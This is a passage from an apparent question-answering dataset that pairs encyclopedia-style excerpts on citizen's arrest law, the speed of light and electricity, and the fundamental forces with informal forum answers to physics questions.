in flagrante delicto). Most criminals who attempt to flee, or refuse to identify themselves, can be held until police arrive. However, making a citizen's arrest to prevent petty crime (e.g. illegal assembly, accidental injury, accidental trespass,", "to a proper legal authority such as the police. Brazil In Brazil, a Federal law allows any person to arrest a suspect criminal found in flagrante delicto or fleeing from the crime scene. The person has to, at his/her own judgment, have the physical power to keep the suspect detained, has to verbally explain what he/she is doing to the arrestee and has to call the police. Both have to wait for the arrival of the police. The person who makes a citizen's arrest has to sign the police forms as a witness and explain the facts. Typically it will", "be brought before the District Court. Citizen's arrests are rare; most often they are made by store detectives on shoplifting suspects. Italy Any private citizen can, according to article 383 of the Italian Code of Criminal Procedure, arrest another person, provided they are caught \"in flagranza di reato\" (In flagrante delicto) and the felony they are caught committing includes mandatory arrest from the police and is \"perseguibile d'ufficio\", meaning that the judicial authority, once received the \"notitia criminis\" (a crime report), has the duty to commence prosecution, without a party necessarily filing a complaint. The person making the arrest", "prosecution without prior approval from the standing committee of the corresponding legislature. Administrative Public Security officers can summon civilian for investigative purposes, and can use force when the civilian refuse to cooperate and when approved by a superior officer. Public Security Administration Punishment Law states police should not question citizen on grounds authorized exceed eight hours, unless the citizen has violation that could result in administrative detention, in which case, the questioning could be extended to 24 hours. Criminal Procedure Law states the police should not question someone for more than twelve hours, unless that someone is a major suspect", "the police to approach a citizen and ask him a few questions, as long as a reasonable person would feel free to disregard the questions and carry on with his business. For police activity to constitute a seizure, the Court had held in Terry v. Ohio, 392 U.S. 1 (1968), that there must be a show of physical force or other authority. And in Florida v. Royer, 460 U.S. 491 (1983), the Court had remarked that the police could approach a suspect in a public place (there, an airport concourse) and ask him a few questions without violating the", "Criminal Evidence Act 1984, called \"any person arrest\". This legislation states \"any person\" has these powers, and does not state that they need to be a British citizen. Legal and political aspects A person who makes a citizen's arrest could risk exposing him or herself to possible lawsuits or criminal charges – such as charges of false imprisonment, unlawful restraint, kidnapping, or wrongful arrest – if the wrong person is apprehended or a suspect's civil rights are violated. This is especially true when police forces are attempting to determine who an aggressor is. Private citizens do not enjoy the same", "While a variety of public officials are empowered to issue arrest warrants, persons are still often arrested without warrants and detained secretly. Although the law stipulates that persons in detention have the right to be told of the charges against them and forbids detention without charges for more than 48 (or, sometimes, 96) hours, these rules are often ignored. Political opponents of the government are often arrested arbitrarily. Debtors are also often arrested, also this too is against the law. Rights of persons on trial In 2007, victims of abuse during the 2005 elections had to pay a sum to", "officer. South Australia The Criminal Law Consolidation Act 1935 (s271) grants arrest powers to a person in South Australia.\ns271(3): A person is liable to arrest and detention under this section if the person is in the act of committing, or has just committed an indictable offence; or theft (whether the theft is a summary or indictable offence); or an offence against the person (whether the offence is summary or indictable); or an offence involving interference with, damage to or destruction of property (whether the offence is summary or indictable). Tasmania Under the Police Offences Act 1935 (Tasmania), section 55(3), any", "future. Article 197 establishes trial by jury. Rights and duties of citizens Under a section of the Constitution headed \"Individual and Social Rights and Duties,\" private citizens are assured that they can be prosecuted by government authorities only for violations of the Constitution or the law. The procedure for arrests is also described, stating that arrests may result from response to complaints made to the police or from direct action on the part of police or DENI agents at the scene of the crime or disturbance.\nThe validity of citizen's arrest is recognized: \"An offender surprised flagrante delicto may be apprehended", "Kong The police may arrest a person according to a warrant issued by a Magistrate under sections 31, 72, 73 or 74 of the Magistrates Ordinance. For example, an arrest warrant may be issued if an accused person does not appear in Court when he is due to answer a charge.\nHowever, an arrest warrant is not always necessary. Under section 50(1) of the Police Force Ordinance, a police officer can \"apprehend\" (i.e. arrest) a person if he reasonably suspects the person being arrested is guilty of an offence. Whether there is such a reasonable suspicion in a particular case is", "under arrest Arbitrary arrest and detention are unconstitutional, but occur frequently. Both the Royal Eswatini Police Service (REPS), which is responsible for internal security, and the Umbutfo Eswatini Defense Force (USDF), which handles external security, are \"generally professional\", according to the U.S. State Department, but are inefficient, corrupt, and lacking in resources. There are also \"community police\" under the control of tribal chiefs. Indigent defendants are entitled to free counsel only if they are facing the death penalty or life imprisonment. Defendants are usually informed promptly of charges, but are not always charged within the prescribed 48-hour period after arrest.", "fraud at The Standard. Power of arrest Many government departments and agencies, like the police force, ICAC, immigration officials etc., have the power to arrest a suspect. This power of arrest is granted and regulated by law. But before an officer can actually arrest anyone, he or she is required by law to request an arrest warrant from a magistrate. If not, the person been wrongfully arrested can sue the officer for damages. The procedure is to protect the public's freedom from the potential abuse of power. Apparently, this is impossible to ask every government agent to request a warrant", "Harvard Law professor Sam Bass Warner, in his support of the Uniform Arrest Act, proposed that a citizen had a duty to submit to arrest, legal or not, if he reasonably believed that the arresting individual was a peace officer. Warner's explanations and reasoning appear to have been \"accepted without question by subsequent courts...\" In 1969, during the height of the Civil Rights Movement, Paul Chevigny of the New York branch of the American Civil Liberties Union (ACLU) responded that an unlawful arrest was a trespass against the person and was not consistent with Warner's explanations. Common and", "also applicable in this regard. He noted also that it was not only policemen who were concerned with the prevention of crime and the maintenance of law and order, but also private individuals. Criminal Procedure Act 51 of 1977 authorises private persons to arrest people without a warrant and compels private persons between the ages of sixteen and sixty to assist policemen with the arrest of a person or the detention of a person if requested by a policeman. Wessels described the statement made by Van der Westhuizen as having also been made maliciously, out of caprice, and as unrelated", "lead to a time burden of at least two hours. If the facts cannot be verified the person who realizes the citizen's arrest might be sued by the arrestee. Provincial law There are several arrest authorities found through the various provincial statutes. The most notable citizen's arrest authority in Ontario is found in the Trespass to Property Act, but there are others found in the Highway Traffic Act, the Liquor Licence Act, and many others.\nTRESPASS TO PROPERTY ACT\nArrest without warrant on premises\n9. (1) A police officer, or the occupier of premises, or a person authorized by the occupier may", "and in limited circumstances, of citizen's arrest of suspected criminals by private citizens. In those jurisdictions without the privilege, detaining someone who has not committed a crime, even if done in good faith, is false imprisonment and can result in punitive damages for the unlawful detention. Rationale This privilege has been justified by the very practical need for some degree of protection for shopkeepers in their dealings with suspected shoplifters. Absent such privilege, a shopkeeper would be faced with the dilemma of either allowing suspects to leave without challenge or acting upon their suspicion and risk making a false arrest.", "in fact entered without court authorization. Members of political, religious, labor, and other groups are subject to police surveillance. In September 2010, police entered the premises of the Foundation for Socioeconomic Justice and harassed visiting Danish citizens, whom they took to the police station. Since 2008 people who aid or abet certain groups – PUDEMO, the Eswatini Solidarity Network (ESN), SWAYOCO, and the Eswatini People's Liberation Army (UMBANE) – have been subject to punishment up to and including life imprisonment under the 2008 Suppression of Terrorism Act.\nAmnesty International has registered its objection to the 1953 Game Act, which \"gives game-rangers", "with executing the laws of the state, suppressing insurrection, repelling invasion, or promoting the health, safety, and welfare of the citizens of this state. Arrest powers are limited in scope in that the arrest must be made with the immediate intent to deliver the person in custody to civil authorities.", "for security guards vary from country to country. Different requirements have to be completed before applying for this job. Power of arrest Security Guards in Hong Kong do not have special powers of arrest above that of the ordinary citizen, i.e. citizen's arrest, also known locally as the \"101 arrest power\". The Section 101 in the Criminal Procedure Ordinance addresses that arrest of an offender by a private citizen is allowed in certain circumstances if the offender is attempting an arrestable offense. Once arrested, the suspect must be delivered to a police office as soon as possible. An arrestable offence", "officers have probable cause to make arrests, but typically exercise their discretion not to do so.\" The majority opinion held that a plaintiff may still prevail on a retaliatory arrest claim \"when a plaintiff presents objective evidence that he was arrested when otherwise similarly situated individuals not engaged in the same sort of protected speech had not been.\" Racial aspects The Seattle Post-Intelligencer conducted a study in 2008 that found that in the city of Seattle, \"African-Americans were arrested for the sole crime of obstructing eight times as often as whites when population is taken into account.\" In 2009 the", "of a crime, in which case it could be extended to twenty four hours.\nIf the police found enough evidence for a crime, they can submit it to a procurator and ask permission for arrest, or if there is limited evidence or considered misdemeanor, they can impose administrative detention for up to fourteen days.\nState Security officers have similar rights and authorities as Public Security officers. Procuratorial The procuratorates can approve arrest when there is a reasonable ground with requests from the police or sometimes on their own for public-servants-related crimes they investigate (which function has since been absorbed by Supervisory Commissions),", "Police and Criminal Evidence Act 1984 or Article 26(1), (2) or (3) of the Police and Criminal Evidence (Northern Ireland) Order 1989, or if there is a warrant for their arrest. They can be searched and detained using reasonable force for up to three hours, and can be pursued if they leave the port. If a DIO detains a person, they must arrange for a constable to attend as soon as is reasonably practicable. It is an offence to abscond, assault or obstruct a DIO exercising their powers under this section.\nHowever, Immigration Officers also have far broader powers under the" ]

[ "A fundamental truth of nature is that you cannot tell from any purely local observation how you're moving relative to something else. This is a very simplified version of what's called the *equivalence principle.*\n\nSo the answer is nothing. Nothing at all happens to electricity as you approach the speed of light. Because if something did, then you'd be able to observe that change and deduce from a purely local observation how you're moving relative to something else. Which the equivalence principle says you cannot do." ]

[ "at nearly the speed of light, the movement of the conductors themselves is almost negligible. This leads to a Coulomb force and change of momentum so small as to be zero.\nBelow the glow discharge region, the breakdown voltage increases again, whilst the number of potential ions decreases, and the chance of impact lowers. Experiments have been conducted and found to both prove and disprove a force at very low pressure. It is likely that the reason for this is that at very low pressures, only experiments which used very large voltages produced positive results, as a product of a greater", "20 Times Faster than the Speed of Light.\"\nThe article states that alternating power source generates electromotive force, which generates potential differences and longitudinal electric fields in a circuit almost instantaneously. The word 'speed of alternating electricity' refers generally to the speed of electric energy from an alternating power source to an electric load (such as a resistor) in an electric circuit. The movement of electrons through a conductor in the presence of potential and an electric field is very slow. When a DC voltage is applied, The drift speed is on the order of millimeters per hour.\nIn recent", "to travel through a medium faster than the phase velocity of light in that medium (but still slower than c). When a charged particle does that in a dielectric material, the electromagnetic equivalent of a shock wave, known as Cherenkov radiation, is emitted. Practical effects of finiteness The speed of light is of relevance to communications: the one-way and round-trip delay time are greater than zero. This applies from small to astronomical scales. On the other hand, some techniques depend on the finite speed of light, for example in distance measurements. Small scales In supercomputers, the speed of light", "related to special relativity, see tests of special relativity. The effect According to simple emission theory, light thrown off by an object should move at a speed of with respect to the emitting object. If there are no complicating dragging effects, the light would then be expected to move at this same speed until it eventually reached an observer. For an object moving directly towards (or away from) the observer at metres per second, this light would then be expected to still be travelling at ( or ) metres per second at the time it reached", "speed of propagation of an electromagnetic field is approximately that of the speed of light (see speed of light#electromagnetic constants). He considered this to be more than just a coincidence, commenting, \"We can scarcely avoid the conclusion that light consists in the transverse undulations of the same medium which is the cause of electric and magnetic phenomena.\"\nWorking on the problem further, Maxwell showed that the equations predict the existence of waves of oscillating electric and magnetic fields that travel through empty space at a speed that could be predicted from simple electrical experiments; using the data available at the time,", "if a beam of light is split and sent in two opposite directions around a closed path on a revolving platform with mirrors on its perimeter, and then the beams are recombined, they will exhibit interference effects. From this result Sagnac concluded that light propagates at a speed independent of the speed of the source. The motion of the earth through space had no apparent effect on the speed of the light beam, no matter how the platform was turned. The effect had been observed earlier (by Harress in 1911), but Sagnac was the first to correctly identify the cause.\nThis", "would be dragged along by the medium, so the measured speed of the light would be a simple sum of its speed through the medium plus the speed of the medium.\nFizeau indeed detected a dragging effect, but the magnitude of the effect that he observed was far lower than expected. His results seemingly supported the partial ether-drag hypothesis of Fresnel, a situation that was disconcerting to most physicists.\nOver half a century passed before a satisfactory explanation of Fizeau's unexpected measurement was developed with the advent of Einstein's theory of special relativity. Experimental setup Light reflected from the tilted beam", "by alternating current, such as gas discharge lamps (including neon, mercury vapor, sodium vapor and fluorescent tubes), flicker at twice the frequency of the power line (for example 100 times per second on a 50 cycle line). In each cycle of current the power peaks twice (once with positive voltage and once with negative voltage) and twice goes to zero, and the light output varies accordingly. In all of these cases, a person sees a rotating wheel under stroboscopic conditions.\nImagine that the true rotation of a four-spoke wheel is clockwise. The first instance of visibility of the wheel may occur when one", "more than just a coincidence, and commented \"We can scarcely avoid the conclusion that light consists in the transverse undulations of the same medium which is the cause of electric and magnetic phenomena.\"\nWorking on the problem further, Maxwell showed that the equations predict the existence of waves of oscillating electric and magnetic fields that travel through empty space at a speed that could be predicted from simple electrical experiments; using the data available at the time, Maxwell obtained a velocity of 310,740,000 m/s. In his 1864 paper A Dynamical Theory of the Electromagnetic Field, Maxwell wrote, The agreement of the", "of light by implicitly making the assumption of the equality of the speeds of light back and forth. Experiments that can be done on the one-way speed of light Although experiments cannot be done in which the one-way speed of light is measured independently of any clock synchronization scheme, it is possible to carry out experiments that measure a change in the one-way speed of light due, for example, to the motion of the source. Such experiments are the De Sitter double star experiment (1913), conclusively repeated in the X-ray spectrum by K. Brecher in 1977;\nor the terrestrial experiment by", "happens when an electron travels along a conductive wire. Two fields are created, the Electric Field, labeled E, and the Magnetic Field, labeled H. These electric and magnetic fields travel through the aether, (i.e. outer space or the far field), at the speed of light with an assumed impedance of 377 Ω. E, the electric field, may be given in newtons per coulomb or volts per meter, and H, the magnetic field, may be given in gauss or amperes per meter. The two fields are tied together with the aether to form simple electric circuit capable of transferring power. However,", "constant is commonly referred to as the speed of light. The postulate of the constancy of the speed of light in all inertial reference frames lies at the heart of special relativity and has given rise to a popular notion that the \"speed of light is always the same\". However, in many situations light is more than a disturbance in the electromagnetic field.\nLight traveling within a medium is no longer a disturbance solely of the electromagnetic field, but rather a disturbance of the field and the positions and velocities of the charged particles (electrons) within the material. The motion", "passed through a superfluid and slowed to about 17 metres per second) the needed energy would be attainable. However, the physicist J. Richard Gott argues that slowing down light by passing it through a medium cannot be treated as equivalent to lowering the constant c (the speed of light in a vacuum) in the equations of General Relativity, saying:\nOne has to distinguish between the speed of light in a vacuum, which is a constant, and through any other medium, which can vary enormously. Light travels more slowly through water than through empty space, for example, but this does not mean", "was quite inadequate for measuring directly a first-order 0.01% change in the speed of light. A number of physicists therefore attempted to make measurements of indirect first-order effects not of the speed of light itself, but of variations in the speed of light (see First order aether-drift experiments). The Hoek experiment, for example, was intended to detect interferometric fringe shifts due to speed differences of oppositely propagating light waves through water at rest. The results of such experiments were all negative. This could be explained by using Fresnel's dragging coefficient, according to which the aether and thus light are partially", "Fizeau experiment The Fizeau experiment was carried out by Hippolyte Fizeau in 1851 to measure the relative speeds of light in moving water. Fizeau used a special interferometer arrangement to measure the effect of movement of a medium upon the speed of light.\nAccording to the theories prevailing at the time, light traveling through a moving medium would be dragged along by the medium, so that the measured speed of the light would be a simple sum of its speed through the medium plus the speed of the medium. Fizeau indeed detected a dragging effect, but the magnitude of the effect", "that even though the speed of light was instantaneous, the denser the medium, the faster was light's speed. Pierre de Fermat derived Snell's law using the opposing assumption, the denser the medium the slower light traveled. Fermat also argued in support of a finite speed of light. First measurement attempts In 1629, Isaac Beeckman proposed an experiment in which a person observes the flash of a cannon reflecting off a mirror about one mile (1.6 km) away. In 1638, Galileo Galilei proposed an experiment, with an apparent claim to having performed it some years earlier, to measure the speed of light", "in which light follows a unidirectional path Many experiments intended to measure the one-way speed of light, or its variation with direction, have been (and occasionally still are) performed in which light follows a unidirectional path. Claims have been made that those experiments have measured the one-way speed of light independently of any clock synchronisation convention, but they have all been shown to actually measure the two-way speed, because they are consistent with generalized Lorentz transformations including synchronizations with different one-way speeds on the basis of isotropic two-way speed of light (see sections the one-way speed and generalized Lorentz transformations).\nThese", "the strength of the electric field. The drift velocity is on the order of millimeters per hour. AC voltages cause no net movement; the electrons oscillate back and forth in response to the alternating electric field (over a distance of a few micrometers – see example calculation).", "exists a theoretical maximal speed of information transmission which must be invariant, and it turns out that this speed coincides with the speed of light in vacuum. Newton had himself called the idea of action at a distance philosophically \"absurd\", and held that gravity had to be transmitted by some agent according to certain laws.\nMichelson and Morley in 1887 designed an experiment, employing an interferometer and a half-silvered mirror, that was accurate enough to detect aether flow. The mirror system reflected the light back into the interferometer. If there were an aether drift, it would produce a phase shift and", "\"Curious Inference\") but nonetheless are considered \"provable\", and those which are provable by infinite brute force in the above sense. Physical possibility Some have claimed Thomson's lamp is physically impossible since it must have parts moving at speeds faster than the speed of light (e.g., the lamp switch). Adolf Grünbaum suggests that the lamp could have a strip of wire which, when lifted, disrupts the circuit and turns off the lamp; this strip could then be lifted by a smaller distance each time the lamp is to be turned off, maintaining a constant velocity. However, such a design would ultimately", "a resistanceless wire travels along the wire at this speed. In the early 1860s, Maxwell showed that, according to the theory of electromagnetism he was working on, electromagnetic waves propagate in empty space at a speed equal to the above Weber/Kohlrausch ratio, and drawing attention to the numerical proximity of this value to the speed of light as measured by Fizeau, he proposed that light is in fact an electromagnetic wave. \"Luminiferous aether\" It was thought at the time that empty space was filled with a background medium called the luminiferous aether in which the electromagnetic field existed. Some physicists", "follows that the speed of light is constant in all directions in the aether and is independent of the velocity of the source. Thus an observer moving relative to the aether must measure some sort of \"aether wind\" even as an observer moving relative to air measures an apparent wind. First-order experiments Beginning with the work of François Arago (1810), a series of optical experiments had been conducted, which should have given a positive result for magnitudes to first order in v/c and which thus should have demonstrated the relative motion of the aether. Yet the results were negative. An", "Slow light Slow light is the propagation of an optical pulse or other modulation of an optical carrier at a very low group velocity. Slow light occurs when a propagating pulse is substantially slowed down by the interaction with the medium in which the propagation takes place.\nIn 1998, Danish physicist Lene Vestergaard Hau led a combined team from Harvard University and the Rowland Institute for Science which succeeded in slowing a beam of light to about 17 meters per second, and researchers at UC Berkeley slowed the speed of light traveling through a semiconductor to 9.7 kilometers per second", "predicts that light will move at the speed c with respect to the local motion of the exploding matter, a phenomenon analogous to frame dragging.\nThe situation changes somewhat with the introduction of dark energy or a cosmological constant. A cosmological constant due to a vacuum energy density has the effect of adding a repulsive force between objects which is proportional (not inversely proportional) to distance. Unlike inertia it actively \"pulls\" on objects which have clumped together under the influence of gravity, and even on individual atoms. However, this does not cause the objects to grow steadily or to disintegrate; unless", "responded to a magnetic field (see Faraday effect). During the 1860s James Maxwell developed four partial differential equations for the electromagnetic field. Two of these equations predicted the possibility and behavior of waves in the field. Analyzing the speed of these theoretical waves, Maxwell realized that they must travel at a speed that was about the known speed of light. This startling coincidence in value led Maxwell to make the inference that light itself is a type of electromagnetic wave.\nMaxwell's equations predicted an infinite number of frequencies of electromagnetic waves, all traveling at the speed of light. This was the", "Electron mobility Drift velocity in an electric field Without any applied electric field, in a solid, electrons and holes move around randomly. Therefore, on average there will be no overall motion of charge carriers in any particular direction over time.\nHowever, when an electric field is applied, each electron or hole is accelerated by the electric field. If the electron were in a vacuum, it would be accelerated to ever-increasing velocity (called ballistic transport). However, in a solid, the electron repeatedly scatters off crystal defects, phonons, impurities, etc., so that it loses some energy and changes direction. The final result", "that the ratio equals the product of the speed of light and the square root of two. The following year, Gustav Kirchhoff wrote a paper in which he showed that the speed of a signal along an electric wire was equal to the speed of light. These are the first recorded historical links between the speed of light and electromagnetic phenomena.\nJames Clerk Maxwell began working on Michael Faraday's lines of force. In his 1861 paper On Physical Lines of Force he modelled these magnetic lines of force using a sea of molecular vortices that he considered to be partly made", "process by which electric current passes through a material is termed electrical conduction, and its nature varies with that of the charged particles and the material through which they are travelling. Examples of electric currents include metallic conduction, where electrons flow through a conductor such as metal, and electrolysis, where ions (charged atoms) flow through liquids, or through plasmas such as electrical sparks. While the particles themselves can move quite slowly, sometimes with an average drift velocity only fractions of a millimetre per second, the electric field that drives them itself propagates at close to the speed of light, enabling", "as refraction. This reduction in speed is quantified by the ratio between c and the phase velocity. This ratio is called the refractive index of the material. Slow light is a dramatic reduction in the group velocity of light, not the phase velocity. Slow light effects are not due to abnormally large refractive indices, as will be explained below.\nThe simplest picture of light given by classical physics is of a wave or disturbance in the electromagnetic field. In a vacuum, Maxwell's equations predict that these disturbances will travel at a specific speed, denoted by the symbol c. This well-known physical", "relationship between the electric field, the magnetic field, electric current, and electric charge. Maxwell's equations implied the existence of electromagnetic waves, a phenomenon whereby electric and magnetic fields propagate from one spatial point to another at a finite speed, which turns out to be the speed of light. Action-at-a-distance was thus conclusively refuted.\nDespite the enormous success of classical electromagnetism, it was unable to account for the discrete lines in atomic spectra, nor for the distribution of blackbody radiation in different wavelengths. Max Planck's study of blackbody radiation marked the beginning of quantum mechanics. He treated atoms, which absorb and emit" ]

[ "There are four fundamental forces: Gravity, Electromagnetism, the Strong force and the Weak Force.\n\nThe latter three (EM, S and W) are described using the framework of Quantum Field Theory.\n\nQFT is a very complex topic, but essentially (for the purposes of this question) it boils down to describing interactions as involving the exchange of a \"gauge boson\". An easier term is \"force-carrier\". Basically, when we have an interaction involving one of these forces, what is actually happening at the quantum level is that one (or, indeed, more) of these force carrying particles is being exchanged between the particles that are interacting. So, for example, an electromagnetic interaction (say, an electron scattering - i.e. \"hitting and bouncing off\" - another electron) is mediated by the exchange of a photon, which is the force-carrier for the electromagnetic force. In this particular case, the photon carries the momentum which allows the force to be transferred (this momentum transfer from one electron, to the photon, to the other electron, causes the electrons to rebound away from each other).\n\nGravity, however, cannot currently be described using QFT. Instead, it is described by General Relativity. This is the origin of the problem of quantum gravity, that you may have heard of. It makes sense that gravity should be able to be described by QFT, like the other fundamental forces, but this currently eludes physicists.\n\nGeneral Relativity describes spacetime as having some \"curvature\" (think of a rubber sheet stretched over a frame). Mass distorts spacetime, changing its curvature. Gravity is then the effect of this curvature on objects within the spacetime.\n\nI hope this helps, and feel free to ask more questions!\n\nEDIT: Hopefully this is now more layperson-friendly.", "According to general relativity, **gravity** is a deformation of space-time. Space-time is not flat and therefore objects do not follow naturally straight trajectories in space-time. \n\nThis is why we perceive gravity as \"force\", which does not exist in reality. We interpret the curved space-time around us as generating a gravitational force. \n \n**Electromagnetic waves** are electromagnetic energy. Like light is one electromagnetic wave. It's composed of **photons**.\n\nBeing waves, electromagnetic waves also inhibit particle-properties. Beta-rays, gamma rays, microwave radiation, all sorts of waves are made up of their respectively unique particles." ]

[ "Force between magnets Magnets exert forces and torques on each other due to the rules of electromagnetism. The forces of attraction field of magnets are due to microscopic currents of electrically charged electrons orbiting nuclei and the intrinsic magnetism of fundamental particles (such as electrons) that make up the material. Both of these are modeled quite well as tiny loops of current called magnetic dipoles that produce their own magnetic field and are affected by external magnetic fields. The most elementary force between magnets, therefore, is the magnetic dipole–dipole interaction. If all of the magnetic dipoles", "the strength of gravity simply is what it is, a primary quantity, while the proton's mass is the tiny number [1/(13 quintillion)].\nWhile it is true that the electrostatic repulsive force between two protons (alone in free space) greatly exceeds the gravitational attractive force between the same two protons, this is not about the relative strengths of the two fundamental forces. From the point of view of Planck units, this is comparing apples to oranges, because mass and electric charge are incommensurable quantities. Rather, the disparity of magnitude of force is a manifestation of the fact that the charge on the protons", "of quantum field theory and general relativity, it was realized that force is a redundant concept arising from conservation of momentum (4-momentum in relativity and momentum of virtual particles in quantum electrodynamics). The conservation of momentum can be directly derived from the homogeneity or symmetry of space and so is usually considered more fundamental than the concept of a force. Thus the currently known fundamental forces are considered more accurately to be \"fundamental interactions\". When particle A emits (creates) or absorbs (annihilates) virtual particle B, a momentum conservation results in recoil of particle A making impression of repulsion or attraction", "as detailed by the theory of quantum chromodynamics (QCD). The strong force is the fundamental force mediated by gluons, acting upon quarks, antiquarks, and the gluons themselves. The (aptly named) strong interaction is the \"strongest\" of the four fundamental forces.\nThe strong force only acts directly upon elementary particles. However, a residual of the force is observed between hadrons (the best known example being the force that acts between nucleons in atomic nuclei) as the nuclear force. Here the strong force acts indirectly, transmitted as gluons, which form part of the virtual pi and rho mesons, which classically transmit the nuclear", "force of gravity exerted on one object by another is directly proportional to the product of those objects' masses and inversely proportional to the square of the distance between them.\nThe earliest gravity (possibly in the form of quantum gravity, supergravity or a gravitational singularity), along with ordinary space and time, developed during the Planck epoch (up to 10⁻⁴³ seconds after the birth of the Universe), possibly from a primeval state (such as a false vacuum, quantum vacuum or virtual particle), in a currently unknown manner. Gravitational radiation According to general relativity, gravitational radiation is generated in situations where the curvature", "Strong gravity 'Strong gravity' is a non-mainstream theoretical approach to particle confinement having both a cosmological scale and a particle scale gravity. In the 1960s, it was taken up as an alternative to the then young QCD theory by several theorists, including Abdus Salam, who showed that the particle level gravity approach can produce confinement and asymptotic freedom while not requiring a force behavior differing from an inverse-square law, as does QCD. Sivaram published a review of this bimetric theory approach.\nAlthough this approach has not so far led to a recognizably successful unification of strong and other forces, the modern", "separate from concrete, individual things. If no change occurs and there is no effect, then there is no force. Force, gravity, and attraction are mathematical, hypothetical abstractions and they are not found in nature as physical qualities. The parallelogram of composite forces is not a physical quality. It is mathematical. Attempts to explain the cause and origin of motion are abstract and obscure. They are not particular and determinate assertions. Such attempts try to explain the unknown by something that is even more unknown. Principles or causes of motion Bodies are not known to contain, within themselves, forces", "force arises from exchange of virtual photons. This reproduces general relativity in the classical limit. However, this approach fails at short distances of the order of the Planck length, where a more complete theory of quantum gravity (or a new approach to quantum mechanics) is required. Earth's gravity Every planetary body (including the Earth) is surrounded by its own gravitational field, which can be conceptualized with Newtonian physics as exerting an attractive force on all objects. Assuming a spherically symmetrical planet, the strength of this field at any given point above the surface is proportional to the planetary body's mass", "of as \"forces\" are actually the effects of force carrier particles on matter particles.\nThe basketball animation is, of course, a very crude analogy since it can only explain repulsive forces and gives no hint of how exchanging particles can result in attractive forces. \nWe see examples of attractive forces in everyday life (such as magnets and gravity), and so we generally take it for granted that an object's presence can just affect another object. It is when we approach the deeper question, \"How can two objects affect one another without touching?\" that we propose that the invisible force could be", "gravity was first introduced by the great ancient Greek physicist, mathematician, and engineer Archimedes of Syracuse. He worked with simplified assumptions about gravity that amount to a uniform field, thus arriving at the mathematical properties of what we now call the center of mass. Archimedes showed that the torque exerted on a lever by weights resting at various points along the lever is the same as what it would be if all of the weights were moved to a single point—their center of mass. In work on floating bodies he demonstrated that the orientation of a floating object is", "The force of gravity as described by Newton is an \"action at a distance\" — its effects on faraway objects are instantaneous, no matter the distance. In an exchange of letters with Richard Bentley, however, Newton stated that \"it is inconceivable that inanimate brute matter should, without the mediation of something else which is not material, operate upon and affect other matter without mutual contact.\" It was not until the 18th century that mathematical physicists discovered a convenient description of gravity based on fields — a numerical quantity (a vector) assigned to every point in space indicating the action of", "Kirk in the TV series Star Trek. Force fields are vital for surviving any battle in the fictional world, but what exactly are force fields? In science fiction force fields are very straight forward, but to make a repulsive force does appear impossible to make in a lab. Gravity appears in the four force list in Kaku's book. Gravity acts as the exact opposite of a force field, but has many similar properties. The whole planet keeps us standing on the ground and we cannot counter the force by jumping.\nA future technology that may be seen within a lifetime is", "there is an important difference. Gravity always acts in attraction, drawing two masses together, while the electric field can result in either attraction or repulsion. Since large bodies such as planets generally carry no net charge, the electric field at a distance is usually zero. Thus gravity is the dominant force at distance in the universe, despite being much weaker.\nAn electric field generally varies in space, and its strength at any one point is defined as the force (per unit charge) that would be felt by a stationary, negligible charge if placed at that point. The conceptual charge, termed a", "in the direction of gravity, the tensile force at the center is found by integration of the tidal force from the center to one of the ends. This gives F = , where μ is the standard gravitational parameter of the massive body, l is the length of the rod, m is rod's mass, and r is the distance to the massive body. For non-uniform objects the tensile force is smaller if more mass is near the center, and up to twice as large if more mass is at the ends. In addition, there is a horizontal compression force toward", "research. Elasticity of materials, fluid dynamics and Maxwell's equations are cases in point.\nSome of the simplest physical fields are vector force fields. Historically, the first time that fields were taken seriously was with Faraday's lines of force when describing the electric field. The gravitational field was then similarly described. Electromagnetism Michael Faraday first realized the importance of a field as a physical quantity, during his investigations into magnetism. He realized that electric and magnetic fields are not only fields of force which dictate the motion of particles, but also have an independent physical reality because they carry energy.\nThese ideas eventually", "only attracts iron-bearing materials (he calls it coition). He shows the effects of cutting a spherical loadstone (which he calls a terrella) through the poles and equator and the direction of attraction at different points. Magnets act at a distance but the force has no permanent presence and is not hindered like light. Materials including gold, silver and diamonds are not affected by magnets, nor can one produce perpetual motion. Book 3 The Earth's normal magnetism. He proposes (incorrectly) that the angle of the ecliptic and precession of the equinoxes are caused by magnetism. A loadstone cut out of rock", "Gravitational field In physics, a gravitational field is a model used to explain the influence that a massive body extends into the space around itself, producing a force on another massive body. Thus, a gravitational field is used to explain gravitational phenomena, and is measured in newtons per kilogram (N/kg). In its original concept, gravity was a force between point masses. Following Isaac Newton, Pierre-Simon Laplace attempted to model gravity as some kind of radiation field or fluid, and since the 19th century explanations for gravity have usually been taught in terms of a field model, rather than a point", " The electromagnetic force is very strong, second only in strength to the strong interaction, but unlike that force it operates over all distances. In comparison with the much weaker gravitational force, the electromagnetic force pushing two electrons apart is 10⁴² times that of the gravitational attraction pulling them together.\nStudy has shown that the origin of charge is from certain types of subatomic particles which have the property of electric charge. Electric charge gives rise to and interacts with the electromagnetic force, one of the four fundamental forces of nature. The most familiar carriers of electrical charge are the electron", "magnetism have been studied as a single branch of physics since the intimate connection between them was discovered in the early 19th century; an electric current gives rise to a magnetic field, and a changing magnetic field induces an electric current. Electrostatics deals with electric charges at rest, electrodynamics with moving charges, and magnetostatics with magnetic poles at rest. Difference between classical and modern physics While physics aims to discover universal laws, its theories lie in explicit domains of applicability. Loosely speaking, the laws of classical physics accurately describe systems whose important length scales are greater than the atomic scale", "Centers of gravity in non-uniform fields In physics, a center of gravity of a material body is a point that may be used for a summary description of gravitational interactions. In a uniform gravitational field, the center of mass serves as the center of gravity. This is a very good approximation for smaller bodies near the surface of Earth, so there is no practical need to distinguish \"center of gravity\" from \"center of mass\" in most applications, such as engineering and medicine.\nIn a non-uniform field, gravitational effects such as potential energy, force, and torque can no longer be calculated using", "components of the gravitational field. These components fully characterize all the forces acting on a body. These can be represented in a matrix form as follows:\nNow that we are familiar with the concepts of gravity and tensors, a qualitative discussion of gravity and its significance in geophysical analysis can be done. A certain mass distribution creates a gravitational force field around it, In other words, the object under consideration has a finite mass ‘M’ and hence bends the space around it. The gravitational field gradient is given by the divergence of the gravitational field. Estimating the positions of the underground", "magnets Permanent magnets are objects that produce their own persistent magnetic fields. They are made of ferromagnetic materials, such as iron and nickel, that have been magnetized, and they have both a north and a south pole. Magnetic field of permanent magnets The magnetic field of permanent magnets can be quite complicated, especially near the magnet. The magnetic field of a small straight magnet is proportional to the magnet's strength (called its magnetic dipole moment m). The equations are non-trivial and also depend on the distance from the magnet and the orientation of the magnet. For simple magnets, m points", "of gravity and the electromagnetic forces, there are weak and strong nuclear forces. Weak 